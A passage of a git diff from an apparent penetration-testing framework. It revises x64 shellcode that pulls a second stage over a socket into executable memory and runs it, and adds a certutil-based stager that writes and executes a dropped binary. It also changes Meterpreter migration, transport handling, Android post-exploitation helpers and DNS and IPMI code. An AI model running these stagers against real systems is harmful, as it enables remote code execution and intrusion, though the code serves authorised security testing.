asm << asm_send_uuid if include_send_uuid
asm << %Q^
recv:
- ; Receive the size of the incoming second stage...
- sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
- mov rdx, rsp ; set pointer to this buffer
- xor r9, r9 ; flags
- push 4 ;
- pop r8 ; length = sizeof( DWORD );
- mov rcx, rdi ; the saved socket
- mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
- call rbp ; recv( s, &dwLength, 4, 0 );
- add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
- ; Alloc a RWX buffer for the second stage
- pop rsi ; pop off the second stage length
- push 0x40 ;
- pop r9 ; PAGE_EXECUTE_READWRITE
- push 0x1000 ;
- pop r8 ; MEM_COMMIT
- mov rdx, rsi ; the newly recieved second stage length.
- xor rcx, rcx ; NULL as we dont care where the allocation is.
- mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
- call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
+ ; Receive the size of the incoming second stage...
+ sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
+ ; second stage length
+ mov rdx, rsp ; set pointer to this buffer
+ xor r9, r9 ; flags
+ push 4 ;
+ pop r8 ; length = sizeof( DWORD );
+ mov rcx, rdi ; the saved socket
+ mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
+ call rbp ; recv( s, &dwLength, 4, 0 );
+ ^
+
+ if reliable
+ asm << %Q^
+ ; reliability: check to see if the recv worked, and reconnect
+ ; if it fails
+ cmp eax, 0
+ jle cleanup_socket
+ ^
+ end
+
+ asm << %Q^
+ add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
+
+ ; Alloc a RWX buffer for the second stage
+ pop rsi ; pop off the second stage length
+ movsxd rsi, esi ; only use the lower-order 32 bits for the size
+ push 0x40 ;
+ pop r9 ; PAGE_EXECUTE_READWRITE
+ push 0x1000 ;
+ pop r8 ; MEM_COMMIT
+ mov rdx, rsi ; the newly recieved second stage length.
+ xor rcx, rcx ; NULL as we dont care where the allocation is.
+ mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
+ call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
- mov rbx, rax ; rbx = our new memory address for the new stage
- mov r15, rax ; save the address so we can jump into it later
- read_more: ;
- xor r9, r9 ; flags
- mov r8, rsi ; length
- mov rdx, rbx ; the current address into our second stages RWX buffer
- mov rcx, rdi ; the saved socket
- mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
- call rbp ; recv( s, buffer, length, 0 );
- add rbx, rax ; buffer += bytes_received
- sub rsi, rax ; length -= bytes_received
- test rsi, rsi ; test length
- jnz read_more ; continue if we have more to read
- jmp r15 ; return into the second stage
+ mov rbx, rax ; rbx = our new memory address for the new stage
+ mov r15, rax ; save the address so we can jump into it later
+
+ read_more: ;
+ xor r9, r9 ; flags
+ mov r8, rsi ; length
+ mov rdx, rbx ; the current address into our second stages RWX buffer
+ mov rcx, rdi ; the saved socket
+ mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
+ call rbp ; recv( s, buffer, length, 0 );
+ ^
+
+ if reliable
+ asm << %Q^
+ ; reliability: check to see if the recv worked, and reconnect
+ ; if it fails
+ cmp eax, 0
+ jge read_successful
+
+ ; something failed so free up memory
+ pop rax
+ push r15
+ pop rcx ; lpAddress
+ push 0x4000 ; MEM_COMMIT
+ pop r8 ; dwFreeType
+ push 0 ; 0
+ pop rdx ; dwSize
+ mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
+ call rbp ; VirtualFree(payload, 0, MEM_COMMIT)
+
+ cleanup_socket:
+ ; clean up the socket
+ push rdi ; socket handle
+ pop rcx ; s (closesocket parameter)
+ mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
+ call rbp
+
+ ; and try again
+ dec r14 ; decrement the retry count
+ jmp create_socket
+ ^
+ end
+
+ asm << %Q^
+ read_successful:
+ add rbx, rax ; buffer += bytes_received
+ sub rsi, rax ; length -= bytes_received
+ test rsi, rsi ; test length
+ jnz read_more ; continue if we have more to read
+ jmp r15 ; return into the second stage
^
if opts[:exitfunk]
diff --git a/lib/msf/core/post/android.rb b/lib/msf/core/post/android.rb
new file mode 100644
index 0000000000..dbe96e2d53
--- /dev/null
+++ b/lib/msf/core/post/android.rb
@@ -0,0 +1,8 @@
+# -*- coding: binary -*-
+
+module Msf::Post::Android
+
+ require 'msf/core/post/android/system'
+ require 'msf/core/post/android/priv'
+
+end
diff --git a/lib/msf/core/post/android/priv.rb b/lib/msf/core/post/android/priv.rb
new file mode 100644
index 0000000000..42d4bc09e4
--- /dev/null
+++ b/lib/msf/core/post/android/priv.rb
@@ -0,0 +1,35 @@
+# -*- coding: binary -*-
+
+require 'msf/core/post/common'
+require 'msf/core/post/file'
+require 'msf/core/post/unix'
+
+module Msf
+class Post
+module Android
+module Priv
+
+ include Msf::Post::Common
+
+ public
+
+ # Returns whether we are running as root or not.
+ #
+ # @return [Boolean] TrueClass if as root, otherwise FalseClass.
+ def is_root?
+ id = cmd_exec('id')
+ uid = id.scan(/uid=(\d+)(.+)/).flatten.first
+ if /^0$/ === uid
+ return true
+ else
+ return false
+ end
+ end
+
+ private
+
+ def get_id
+ cmd_exec('id')
+ end
+
+end ; end ; end ; end
\ No newline at end of file
diff --git a/lib/msf/core/post/android/system.rb b/lib/msf/core/post/android/system.rb
new file mode 100644
index 0000000000..38f1afe4f1
--- /dev/null
+++ b/lib/msf/core/post/android/system.rb
@@ -0,0 +1,31 @@
+# -*- coding: binary -*-
+
+require 'msf/core/post/common'
+require 'msf/core/post/file'
+require 'msf/core/post/unix'
+
+module Msf
+class Post
+module Android
+module System
+
+ include Msf::Post::Common
+ include Msf::Post::File
+
+ # Returns system information from build.prop.
+ #
+ # @return [Hash] System information.
+ def get_build_prop
+ sys_data = {}
+ build_prop = cmd_exec('cat /system/build.prop')
+
+ return sys_data if build_prop.blank?
+
+ build_prop.scan(/(.+)=(.+)/i).collect {|e| Hash[*e]}.each do |setting|
+ sys_data.merge!(setting)
+ end
+
+ return sys_data
+ end
+
+end ; end ; end ; end
\ No newline at end of file
diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb
index b067392452..914e0a787e 100644
--- a/lib/msf/ui/console/driver.rb
+++ b/lib/msf/ui/console/driver.rb
@@ -186,15 +186,7 @@ class Driver < Msf::Ui::Driver
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was
# already true or if framework.db.connect called after_establish_connection.
- if framework.db.active
- unless opts['DeferModuleLoads']
- self.framework.modules.refresh_cache_from_database
-
- if self.framework.modules.cache_empty?
- print_status("The initial module cache will be built in the background, this can take 2-5 minutes...")
- end
- end
- elsif !framework.db.error.nil?
+ if !! framework.db.error
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
print_error("***")
print_error("*")
@@ -217,12 +209,15 @@ class Driver < Msf::Ui::Driver
# Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false
unless opts['Framework'] || opts['DeferModuleLoads']
# Configure the framework module paths
- self.framework.init_module_paths
- self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath']
+ self.framework.init_module_paths(module_paths: opts['ModulePath'])
+ end
- # Rebuild the module cache in a background thread
- self.framework.threads.spawn("ModuleCacheRebuild", true) do
- self.framework.modules.refresh_cache_from_module_files
+ if framework.db.active && !opts['DeferModuleLoads']
+ if self.framework.modules.cache_empty?
+ self.framework.threads.spawn("ModuleCacheRebuild", true) do
+ self.framework.modules.refresh_cache_from_module_files
+ end
+ print_status("The initial module cache will be built in the background, this can take 2-5 minutes...")
end
end
diff --git a/lib/net/dns/rr/classes.rb b/lib/net/dns/rr/classes.rb
index b5921ba09b..2ec1aaf1dd 100644
--- a/lib/net/dns/rr/classes.rb
+++ b/lib/net/dns/rr/classes.rb
@@ -40,7 +40,7 @@ module Net # :nodoc:
when Fixnum
return Classes.invert.has_key?(cls)
else
- raise ClassArgumentError, "Wrong cls class: #{cls.class}"
+ raise ClassArgumentError, "Wrong class: #{cls.class}"
end
end
@@ -55,7 +55,7 @@ module Net # :nodoc:
raise ClassArgumentError, "Unknown class number #{cls}"
end
else
- raise ClassArgumentError, "Wrong cls class: #{cls.class}"
+ raise ClassArgumentError, "Wrong class: #{cls.class}"
end
end
@@ -81,7 +81,7 @@ module Net # :nodoc:
@str = Classes.invert[@@default]
@num = @@default
else
- raise ClassArgumentError, "Wrong cls class: #{cls.class}"
+ raise ClassArgumentError, "Wrong class: #{cls.class}"
end
end
@@ -89,15 +89,15 @@ module Net # :nodoc:
# *PRIVATE* method
def new_from_string(cls)
case cls
- when /^CLASS\\d+/
- # TODO!!!
+ when /^CLASS(\d+)$/
+ new_from_num(Regexp.last_match(1).to_i)
else
# String with name of class
if Classes.has_key? cls
@str = cls
@num = Classes[cls]
else
- raise ClassesArgumentError, "Unknown cls #{cls}"
+ raise ClassArgumentError, "Unknown class #{cls}"
end
end
end
@@ -105,11 +105,13 @@ module Net # :nodoc:
# Contructor for numeric data class
# *PRIVATE* method
def new_from_num(cls)
+ raise ClassArgumentError, "Invalid class #{cls}" if cls < 0 || cls > 0xFFFF
if Classes.invert.has_key? cls
@num = cls
@str = Classes.invert[cls]
else
- raise ClassesArgumentError, "Unknown cls number #{cls}"
+ @num = cls
+ @str = "CLASS#{cls}"
end
end
diff --git a/lib/net/dns/rr/types.rb b/lib/net/dns/rr/types.rb
index 9b75ac2aab..e4507d23c2 100644
--- a/lib/net/dns/rr/types.rb
+++ b/lib/net/dns/rr/types.rb
@@ -167,8 +167,8 @@ module Net # :nodoc:
# *PRIVATE* method
def new_from_string(type)
case type
- when /^TYPE\\d+/
- # TODO!!!
+ when /^TYPE(\d+)$/
+ new_from_num(Regexp.last_match(1).to_i)
else
# String with name of type
if Types.has_key? type
@@ -183,11 +183,13 @@ module Net # :nodoc:
# Contructor for numeric data type
# *PRIVATE* method
def new_from_num(type)
+ raise TypeArgumentError, "Invalid type #{type}" if type < 0 || type > 0xFFFF
if Types.invert.has_key? type
@num = type
@str = Types.invert[type]
else
- raise TypeArgumentError, "Unknown type number #{type}"
+ @num = type
+ @str = "TYPE#{type}"
end
end
diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb
index 3db60c1f37..e57d563796 100644
--- a/lib/rex/exploitation/cmdstager.rb
+++ b/lib/rex/exploitation/cmdstager.rb
@@ -2,6 +2,7 @@
require 'rex/exploitation/cmdstager/base'
require 'rex/exploitation/cmdstager/vbs'
+require 'rex/exploitation/cmdstager/certutil'
require 'rex/exploitation/cmdstager/debug_write'
require 'rex/exploitation/cmdstager/debug_asm'
require 'rex/exploitation/cmdstager/tftp'
diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb
new file mode 100644
index 0000000000..6bfc5b569a
--- /dev/null
+++ b/lib/rex/exploitation/cmdstager/certutil.rb
@@ -0,0 +1,115 @@
+# -*- coding: binary -*-
+
+require 'rex/text'
+require 'rex/arch'
+require 'msf/core/framework'
+
+module Rex
+module Exploitation
+
+###
+#
+# This class provides the ability to create a sequence of commands from an executable.
+# When this sequence is ran via command injection or a shell, the resulting exe will
+# be written to disk and executed.
+#
+# This particular version uses Windows certutil to base64 decode a file,
+# created via echo >>, and decode it to the final binary.
+#
+#
+# Written by xistence
+# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
+#
+###
+
+class CmdStagerCertutil < CmdStagerBase
+
+ def initialize(exe)
+ super
+
+ @var_encoded = Rex::Text.rand_text_alpha(5)
+ @var_decoded = Rex::Text.rand_text_alpha(5)
+ @decoder = nil # filled in later
+ end
+
+
+ # Override just to set the extra byte count
+ # @param opts [Array] The options to generate the command line
+ # @return [Array] The complete command line
+ def generate_cmds(opts)
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
+ @cmd_start = "echo "
+ @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
+ opts.merge!({ :extra => xtra_len })
+ super
+ end
+
+
+ # Simple base64 encoder for the executable
+ # @param opts [Array] The options to generate the command line
+ # @return [String] Base64 encoded executable
+ def encode_payload(opts)
+ Rex::Text.encode_base64(@exe)
+ end
+
+
+ # Combine the parts of the encoded file with the stuff that goes
+ # before / after it.
+ # @param parts [Array] Splitted commands
+ # @param opts [Array] The options to generate the command line
+ # @return [Array] The command line
+ def parts_to_commands(parts, opts)
+
+ cmds = []
+ parts.each do |p|
+ cmd = ''
+ cmd << @cmd_start
+ cmd << p
+ cmd << @cmd_end
+ cmds << cmd
+ end
+
+ cmds
+ end
+
+
+ # Generate the commands that will decode the file we just created
+ # @param opts [Array] The options to generate the command line
+ # @return [Array] The certutil Base64 decoder part of the command line
+ def generate_cmds_decoder(opts)
+
+ cmds = []
+ cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
+ return cmds
+ end
+
+
+ # We override compress commands just to stick in a few extra commands
+ # last second..
+ # @param cmds [Array] Complete command line
+ # @param opts [Array] Extra options for command line generation
+ # @return [Array] The complete command line including cleanup
+ def compress_commands(cmds, opts)
+ # Make it all happen
+ cmds << "#{@tempdir}#{@var_decoded}.exe"
+
+ # Clean up after unless requested not to..
+ if (not opts[:nodelete])
+ cmds << "del #{@tempdir}#{@var_encoded}.b64"
+ # NOTE: We won't be able to delete the exe while it's in use.
+ end
+
+ super
+ end
+
+ # Windows uses & to concat strings
+ #
+ # @return [String] Concat operator
+ def cmd_concat_operator
+ " & "
+ end
+
+end
+end
+end
diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb
index e144707c4f..b751768348 100644
--- a/lib/rex/post/meterpreter/client_core.rb
+++ b/lib/rex/post/meterpreter/client_core.rb
@@ -54,7 +54,7 @@ class ClientCore < Extension
# Initializes the 'core' portion of the meterpreter client commands.
#
def initialize(client)
- super(client, "core")
+ super(client, 'core')
end
##
@@ -81,7 +81,7 @@ class ClientCore < Extension
# No response?
if response.nil?
- raise RuntimeError, "No response was received to the core_enumextcmd request.", caller
+ raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
elsif response.result != 0
# This case happens when the target doesn't support the core_enumextcmd message.
# If this is the case, then we just want to ignore the error and return an empty
@@ -180,7 +180,7 @@ class ClientCore < Extension
# No library path, no cookie.
if library_path.nil?
- raise ArgumentError, "No library file path was supplied", caller
+ raise ArgumentError, 'No library file path was supplied', caller
end
# Set up the proper loading flags
@@ -215,7 +215,7 @@ class ClientCore < Extension
# path of the local and target so that it gets loaded with a random
# name
if opts['Extension']
- library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
+ library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
target_path = library_path
end
end
@@ -233,7 +233,7 @@ class ClientCore < Extension
# No response?
if response.nil?
- raise RuntimeError, "No response was received to the core_loadlib request.", caller
+ raise RuntimeError, 'No response was received to the core_loadlib request.', caller
elsif response.result != 0
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
end
@@ -431,16 +431,16 @@ class ClientCore < Extension
# Migrates the meterpreter instance to the process specified
# by pid. The connection to the server remains established.
#
- def migrate(pid, writable_dir = nil)
- keepalive = client.send_keepalives
+ def migrate(pid, writable_dir = nil, opts = {})
+ keepalive = client.send_keepalives
client.send_keepalives = false
- process = nil
- binary_suffix = nil
- old_platform = client.platform
- old_binary_suffix = client.binary_suffix
+ process = nil
+ binary_suffix = nil
+ old_platform = client.platform
+ old_binary_suffix = client.binary_suffix
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
- client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
+ client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
# Determine the architecture for the pid we are going to migrate into...
client.sys.process.processes.each { | p |
@@ -452,7 +452,7 @@ class ClientCore < Extension
# We cant migrate into a process that does not exist.
unless process
- raise RuntimeError, "Cannot migrate into non existent process", caller
+ raise RuntimeError, 'Cannot migrate into non existent process', caller
end
# We cannot migrate into a process that we are unable to open
@@ -465,7 +465,7 @@ class ClientCore < Extension
# And we also cannot migrate into our own current process...
if process['pid'] == client.sys.process.getpid
- raise RuntimeError, "Cannot migrate into current process", caller
+ raise RuntimeError, 'Cannot migrate into current process', caller
end
if client.platform =~ /linux/
@@ -484,19 +484,19 @@ class ClientCore < Extension
blob = generate_payload_stub(process)
# Build the migration request
- request = Packet.create_request( 'core_migrate' )
+ request = Packet.create_request('core_migrate')
if client.platform =~ /linux/i
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
if socket_path.length > UNIX_PATH_MAX - 1
- raise RuntimeError, "The writable dir is too long", caller
+ raise RuntimeError, 'The writable dir is too long', caller
end
pos = blob.index(DEFAULT_SOCK_PATH)
if pos.nil?
- raise RuntimeError, "The meterpreter binary is wrong", caller
+ raise RuntimeError, 'The meterpreter binary is wrong', caller
end
blob[pos, socket_path.length + 1] = socket_path + "\x00"
@@ -510,14 +510,17 @@ class ClientCore < Extension
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
+
if process['arch'] == ARCH_X86_64
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
else
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
end
- # Send the migration request (bump up the timeout to 60 seconds)
- client.send_request( request, 60 )
+ # Send the migration request. Timeout can be specified by the caller, or set to a min
+ # of 60 seconds.
+ timeout = [(opts[:timeout] || 0), 60].max
+ client.send_request(request, timeout)
if client.passive_service
# Sleep for 5 seconds to allow the full handoff, this prevents
@@ -539,7 +542,7 @@ class ClientCore < Extension
# keep from hanging the packet dispatcher thread, which results
# in blocking the entire process.
begin
- Timeout.timeout(60) do
+ Timeout.timeout(timeout) do
# Renegotiate SSL over this socket
client.swap_sock_ssl_to_plain()
client.swap_sock_plain_to_ssl()
@@ -600,10 +603,10 @@ class ClientCore < Extension
if not client.passive_service
self.client.send_packet(request)
else
- # If this is a HTTP/HTTPS session we need to wait a few seconds
- # otherwise the session may not receive the command before we
- # kill the handler. This could be improved by the server side
- # sending a reply to shutdown first.
+ # If this is a HTTP/HTTPS session we need to wait a few seconds
+ # otherwise the session may not receive the command before we
+ # kill the handler. This could be improved by the server side
+ # sending a reply to shutdown first.
self.client.send_packet_wait_response(request, 10)
end
true
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
index a036336356..9ae6874737 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
@@ -28,6 +28,9 @@ class Console::CommandDispatcher::Core
self.extensions = []
self.bgjobs = []
self.bgjob_id = 0
+
+ # keep a lookup table to refer to transports by index
+ @transport_map = {}
end
@@irb_opts = Rex::Parser::Arguments.new(
@@ -571,6 +574,7 @@ class Console::CommandDispatcher::Core
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
'-l' => [ true, 'LHOST parameter (for reverse transports)' ],
'-p' => [ true, 'LPORT parameter' ],
+ '-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
@@ -601,6 +605,13 @@ class Console::CommandDispatcher::Core
print_line(@@transport_opts.usage)
end
+ def update_transport_map
+ result = client.core.transport_list
+ @transport_map.clear
+ sorted_by_url = result[:transports].sort_by { |k| k[:url] }
+ sorted_by_url.each_with_index { |t, i| @transport_map[i+1] = t }
+ end
+
#
# Manage transports
#
@@ -637,12 +648,15 @@ class Console::CommandDispatcher::Core
}
valid = true
+ transport_index = 0
@@transport_opts.parse(args) do |opt, idx, val|
case opt
when '-c'
opts[:cert] = val
when '-u'
opts[:uri] = val
+ when '-i'
+ transport_index = val.to_i
when '-ph'
opts[:proxy_host] = val
when '-pp'
@@ -685,13 +699,21 @@ class Console::CommandDispatcher::Core
return
end
+ update_transport_map
+
case command
when 'list'
result = client.core.transport_list
+
+ current_transport_url = result[:transports].first[:url]
+
+ sorted_by_url = result[:transports].sort_by { |k| k[:url] }
+
# this will output the session timeout first
print_timeouts(result)
columns =[
+ 'ID',
'Curr',
'URL',
'Comms T/O',
@@ -709,16 +731,13 @@ class Console::CommandDispatcher::Core
# next draw up a table of transport entries
tbl = Rex::Ui::Text::Table.new(
- 'SortIndex' => -1, # disable any sorting
+ 'SortIndex' => 0, # sort by ID
'Indent' => 4,
'Columns' => columns)
- first = true
- result[:transports].each do |t|
- entry = [ first ? '*' : '', t[:url], t[:comm_timeout],
- t[:retry_total], t[:retry_wait] ]
-
- first = false
+ sorted_by_url.each_with_index do |t, i|
+ entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url],
+ t[:comm_timeout], t[:retry_total], t[:retry_wait] ]
if opts[:verbose]
entry << t[:ua]
@@ -772,6 +791,22 @@ class Console::CommandDispatcher::Core
return
end
+ if !transport_index.zero? && @transport_map.has_key?(transport_index)
+ # validate the URL
+ url_to_delete = @transport_map[transport_index][:url]
+ begin
+ uri = URI.parse(url_to_delete)
+ opts[:transport] = "reverse_#{uri.scheme}"
+ opts[:lhost] = uri.host
+ opts[:lport] = uri.port
+ opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http")
+
+ rescue URI::InvalidURIError
+ print_error("Failed to parse URL: #{url_to_delete}")
+ return
+ end
+ end
+
print_status("Removing transport ...")
if client.core.transport_remove(opts)
print_good("Successfully removed #{opts[:transport]} transport.")
@@ -781,15 +816,21 @@ class Console::CommandDispatcher::Core
end
end
+ @@migrate_opts = Rex::Parser::Arguments.new(
+ '-p' => [true, 'Writable path - Linux only (eg. /tmp).'],
+ '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'],
+ '-h' => [false, 'Help menu.']
+ )
+
def cmd_migrate_help
if client.platform =~ /linux/
- print_line "Usage: migrate [writable_path]"
+ print_line('Usage: migrate [-p writable_path] [-t timeout]')
else
- print_line "Usage: migrate "
+ print_line('Usage: migrate [-t timeout]')
end
print_line
- print_line "Migrates the server instance to another process."
- print_line "NOTE: Any open channels or other dynamic state will be lost."
+ print_line('Migrates the server instance to another process.')
+ print_line('NOTE: Any open channels or other dynamic state will be lost.')
print_line
end
@@ -800,19 +841,29 @@ class Console::CommandDispatcher::Core
# platforms a path for the unix domain socket used for IPC.
# @return [void]
def cmd_migrate(*args)
- if ( args.length == 0 or args.include?("-h") )
+ if args.length == 0 || args.include?('-h')
cmd_migrate_help
return true
end
pid = args[0].to_i
- if(pid == 0)
- print_error("A process ID must be specified, not a process name")
+ if pid == 0
+ print_error('A process ID must be specified, not a process name')
return
end
- if client.platform =~ /linux/
- writable_dir = (args.length >= 2) ? args[1] : nil
+ writable_dir = nil
+ opts = {
+ timeout: nil
+ }
+
+ @@transport_opts.parse(args) do |opt, idx, val|
+ case opt
+ when '-t'
+ opts[:timeout] = val.to_i
+ when '-p'
+ writable_dir = val
+ end
end
begin
@@ -834,7 +885,7 @@ class Console::CommandDispatcher::Core
service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
next unless opts['MeterpreterRelay']
if existing_relays.empty?
- print_status("Removing existing TCP relays...")
+ print_status('Removing existing TCP relays...')
end
if (service.stop_tcp_relay(lport, lhost))
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
@@ -855,19 +906,15 @@ class Console::CommandDispatcher::Core
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
# Do this thang.
- if client.platform =~ /linux/
- client.core.migrate(pid, writable_dir)
- else
- client.core.migrate(pid)
- end
+ client.core.migrate(pid, writable_dir, opts)
- print_status("Migration completed successfully.")
+ print_status('Migration completed successfully.')
# Update session info (we may have a new username)
client.update_session_info
unless existing_relays.empty?
- print_status("Recreating TCP relay(s)...")
+ print_status('Recreating TCP relay(s)...')
existing_relays.each do |r|
client.pfservice.start_tcp_relay(r[:lport], r[:opts])
print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}")
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
index ec7d4c0f93..3e1668e6c7 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
@@ -422,6 +422,11 @@ class Console::CommandDispatcher::Stdapi::Sys
# Lists running processes.
#
def cmd_ps(*args)
+ if args.include?('-h')
+ cmd_ps_help
+ return true
+ end
+
# Init vars
processes = client.sys.process.get_processes
search_term = nil
@@ -435,9 +440,6 @@ class Console::CommandDispatcher::Stdapi::Sys
print_error("Enter a search term")
return true
end
- when '-h'
- cmd_ps_help
- return true
when "-A"
print_line "Filtering on arch..."
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
diff --git a/lib/rex/proto/ipmi/utils.rb b/lib/rex/proto/ipmi/utils.rb
index d86df13bd5..5848a9fde9 100644
--- a/lib/rex/proto/ipmi/utils.rb
+++ b/lib/rex/proto/ipmi/utils.rb
@@ -15,8 +15,8 @@ class Utils
def self.create_ipmi_getchannel_probe
[ # Get Channel Authentication Capabilities
0x06, 0x00, 0xff, 0x07, # RMCP Header
- 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18,
0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5
].pack("C*")
end
@@ -36,20 +36,20 @@ class Utils
0x00, 0x00,
# Reserved
0x00, 0x00
- ].pack("C*") +
+ ].pack("C*") +
console_session_id +
[
- 0x00, 0x00, 0x00, 0x08,
+ 0x00, 0x00, 0x00, 0x08,
0x01, 0x00, 0x00, 0x00,
- 0x01, 0x00, 0x00, 0x08,
+ 0x01, 0x00, 0x00, 0x08,
# HMAC-SHA1
- 0x01, 0x00, 0x00, 0x00,
- 0x02, 0x00, 0x00, 0x08,
+ 0x01, 0x00, 0x00, 0x00,
+ 0x02, 0x00, 0x00, 0x08,
# AES Encryption
0x01, 0x00, 0x00, 0x00
].pack("C*")
- head + [data.length].pack('v') + data
+ head + [data.length].pack('v') + data
end
@@ -68,39 +68,43 @@ class Utils
0x00, 0x00,
# Reserved
0x00, 0x00
- ].pack("C*") +
+ ].pack("C*") +
console_session_id +
[
- 0x00, 0x00, 0x00, 0x08,
+ 0x00, 0x00, 0x00, 0x08,
# Cipher 0
0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x08,
# Cipher 0
0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x08,
- # No Encryption
+ # No Encryption
0x00, 0x00, 0x00, 0x00
].pack("C*")
- head + [data.length].pack('v') + data
+ head + [data.length].pack('v') + data
end
def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username)
- [
+ head = [
0x06, 0x00, 0xff, 0x07, # RMCP Header
0x06, # RMCP+ Authentication Type
PAYLOAD_RAKP1, # Payload Type
- 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00,
- 0x00, 0x00, 0x00, 0x00
- ].pack("C*") +
- bmc_session_id +
- console_random_id +
- [
- 0x14, 0x00, 0x00,
- username.length
- ].pack("C*") +
- username
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ ].pack("C*")
+
+ data =
+ [0x00, 0x00, 0x00, 0x00].pack("C*") +
+ bmc_session_id +
+ console_random_id +
+ [
+ 0x14, 0x00, 0x00,
+ username.length
+ ].pack("C*") +
+ username
+
+ head + [data.length].pack('v') + data
end
@@ -109,7 +113,7 @@ class Utils
bmc_sid +
con_rid +
bmc_rid +
- bmc_gid +
+ bmc_gid +
[ auth_level ].pack("C") +
[ username.length ].pack("C") +
username
@@ -122,4 +126,4 @@ class Utils
end
end
end
-end
\ No newline at end of file
+end
diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb
index ff34271f91..ca92f0852a 100644
--- a/lib/rex/socket/ssl_tcp.rb
+++ b/lib/rex/socket/ssl_tcp.rb
@@ -56,52 +56,38 @@ begin
def initsock(params = nil)
super
- # The autonegotiation preference for SSL/TLS versions
- versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2]
+ # Default to SSLv23 (automatically negotiate)
+ version = :SSLv23
- # Limit this to a specific SSL/TLS version if specified
+ # Let the caller specify a particular SSL/TLS version
if params
case params.ssl_version
when 'SSL2', :SSLv2
- versions = [:SSLv2]
+ version = :SSLv2
when 'SSL23', :SSLv23
- versions = [:SSLv23]
+ version = :SSLv23
